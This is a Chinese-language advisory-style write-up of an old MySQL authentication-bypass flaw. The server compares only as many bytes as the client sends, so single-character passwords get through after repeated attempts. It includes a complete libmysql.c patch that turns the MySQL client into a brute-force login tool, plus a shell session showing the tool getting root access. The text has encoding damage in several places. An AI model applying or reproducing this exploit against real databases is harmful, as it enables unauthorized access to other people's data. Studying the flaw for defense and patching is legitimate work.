◆ mysql遠(yuǎn)程訪問漏洞
一. 概述
mysql是一個常用的小型數(shù)據(jù)庫系統(tǒng),國內(nèi)有很多站點正在使用它作為web數(shù)據(jù)庫。
在mysql的口令驗證機(jī)制里存在安全漏洞。它允許任何用戶從有目標(biāo)機(jī)器數(shù)據(jù)庫訪問權(quán)限
的機(jī)器上與該數(shù)據(jù)庫進(jìn)行連接。攻擊者不必知道帳號的口令,而只需知道一個可用的帳號
名即可。
所有低于mysql 3.22.32的版本可能都是有問題的。
二. 細(xì)節(jié)
mysql的口令認(rèn)證的機(jī)制是這樣的:當(dāng)一個客戶端發(fā)送一個連接請求的時候,服務(wù)端會首
先產(chǎn)生一個隨機(jī)字符串(a),將這個字符串發(fā)送給客戶端,客戶端會用這個字符串和用戶
輸入的口令所產(chǎn)生的hash值(b)生成一個新的字符串(c)。 并將這個新的字符串返回給服
務(wù)端。服務(wù)端將原先的隨機(jī)字符串(a)與數(shù)據(jù)庫中保存的口令hash值(b')再生成一個字符
串(c'),比較這兩個字符串(c和c')的內(nèi)容是否一致,如果一致就允許登錄,否則就不允許
登錄。
然而,當(dāng)比較c和c'這兩個字符串內(nèi)容的時候,由于沒有考慮比較字符串的長度,導(dǎo)致了
問題的產(chǎn)生。從sql/password.c中可以看到有問題的代碼部分:
my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
......
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; ?* wrong password */
}
return 0;
}
......
這里的scrambled就是客戶端提供的字符串c,(*to++ ^ extra))就是服務(wù)端生成的字符串
c'(中的一個字符).我們可以看到,比較的次數(shù)決定于客戶端提供的字符串c的長度。問
題就出在這里了,本來服務(wù)端應(yīng)當(dāng)首先判斷這兩個字符串長度是否相等的,但是它沒有,
所以如果客戶端提供的字符串只有一個字符,那么check_scramble()將只比較c和c'的第
一個字節(jié)。
c'的內(nèi)容是隨機(jī)產(chǎn)生的,所以第一次登錄和第二次登錄時,c'的第一個字符通常是不同的。
例如:
@sqogrfa 第一次
vv]kpiu_ 第二次
m[ppryx^ 第三次
但是,根據(jù)分析,c'的每一個字符只可能有32種可能性,即:
abcdefghigklmnopqrstuvwxyz/_][]@^
那么理論上說,如果我們每次連接都發(fā)送同一個字符(比如'a')作為口令,那么32次連接
中會有一次成功。當(dāng)然,這只是從概率上統(tǒng)計,實際上嘗試的次數(shù)會從1次到100多次不等。
三. 測試程序
根據(jù)上面的分析,我們只要每次發(fā)送一個字符給服務(wù)端,如果返回錯誤信息,我們再次發(fā)
送這個字符,直到成功為止。為了簡單起見,我們可以修改mysql的client程序.
在client/libmysql.c中, mysql_real_connect()函數(shù)是用來與服務(wù)端建立連接的。
......
mysql * stdcall
mysql_real_connect(mysql *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
dbug_print("info",("user: %s",buff+5));
/* 這里的scramble()函數(shù)將產(chǎn)生校驗用的口令字符串c,然后將c復(fù)制到strend(buff+5)+1
處,既然我們只是要發(fā)送一個字符過去,我們可以注釋掉這兩行,直接將一個字?br> 復(fù)制過去即?br> ?/
?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
if (db && (mysql->server_capabilities & client_connect_with_db))
{
......
} ?br> ?br> 修改后變成: ?br> ?.....
mysql * stdcall
mysql_real_connect(mysql *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
dbug_print("info",("user: %s",buff+5));
?br> /*
end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
?/
end = strend(buff+5) +1 ;
*end = 'a';
end ++;
*end = '/0'; ?br>
if (db && (mysql->server_capabilities & client_connect_with_db))
{
......
}
然后我們將這個mysql_real_connect()改名成mysql_real_connect_orig(),構(gòu)造一個新的
mysql_real_connect(),它將循環(huán)調(diào)用原來的mysql_real_connect_orig(),當(dāng)不斷嘗試發(fā)送
字符'a'進(jìn)行連接,直到通過口令驗證為止。
注意:下面提供的程序僅供在本機(jī)測試使用,請不要用于非法目的,后果自負(fù)!
libmysql.c.diff
8<-----8<-----8<-----8<---- cut here ---8<-----8<-----8<-----8<-----8<----
--- mysql-3.22.27/client/libmysql.c wed oct 6 00:37:25 1999
+++ mysql-3.22.27_new/client/libmysql.c tue feb 13 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;
+uint trynum=0;
+
#define client_capabilities (client_long_password | client_long_flag | client_local_files)
#if defined(msdos) || defined(__win32__)
@@ -985,13 +987,13 @@
}
-/*
+/*
** note that the mysql argument must be initialized with mysql_init()
** before calling mysql_real_connect !
*/
mysql * stdcall
-mysql_real_connect(mysql *mysql,const char *host, const char *user,
+mysql_real_connect_orig(mysql *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
@@ -1276,8 +1278,15 @@
else
read_user_name((char*) buff+5);
dbug_print("info",("user: %s",buff+5));
- end=scramble(strend(buff+5)+1, scramble_buff, passwd,
- ?my_bool) (mysql->protocol_version == 9));
+/* we skip the step that create valid passwd .:) ?- warning3 */
+ //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
+ // ?my_bool) (mysql->protocol_version == 9));
+ trynum++;
+ printf("trying %d times/n",trynum);
+ end = strend(buff+5) +1 ;
+ ?end = 'a'; /* we just send one character as password */
+ end ++;
+ ?end = '/0';
if (db && (mysql->server_capabilities & client_connect_with_db))
{
end=strmov(end+1,db);
@@ -1286,7 +1295,7 @@
}
if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
net_safe_read(mysql) == packet_error)
- goto error;
+ return null; /* if login failed,we return null */
if (client_flag & client_compress) /* we will use compression */
net->compress=1;
if (db && mysql_select_db(mysql,db))
@@ -1317,6 +1326,23 @@
dbug_return(0);
}
+/*
+** we make one fake mysql_real_connect() function,it will "brute force"
+** to guess the right password until succeed ! ?- warning3
+*/
+
+mysql * stdcall
+mysql_real_connect(mysql *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
+ mysql *res;
+
+ while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
+ printf("/noooh,we come in! ;-)/n/n");
+ return res;
+
+}
static my_bool mysql_reconnect(mysql *mysql)
{
>8----->8----->8----->8---- cut here --->8----->8----->8----->8----->8----
[[email protected] warning3]$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 oct 6 06:36 mysql-3.22.27/
[[email protected] warning3]$ patch -p0 patching file `mysql-3.22.27/client/libmysql.c'
[[email protected] warning3]$ cd mysql-3.22.27
[[email protected] mysql-3.22.27]$ ./configure;make;cd client;
[[email protected] client]$ ./mysql -uroot -pblahblah
trying 1 times
trying 2 times
trying 3 times
trying 4 times
trying 5 times
trying 6 times
oooh,we come in! ;-)
welcome to the mysql monitor. commands end with ; or /g.
your mysql connection id is 539 to server version: 3.22.27
type 'help' for help.
mysql>
四. 解決辦法
1. 升級到最新版:
2. 對于外部連接做ip限制 ?br>
感謝:
robert van der meulen 他發(fā)現(xiàn)了這個漏洞。:)
tb 他幫助我完成這個exploit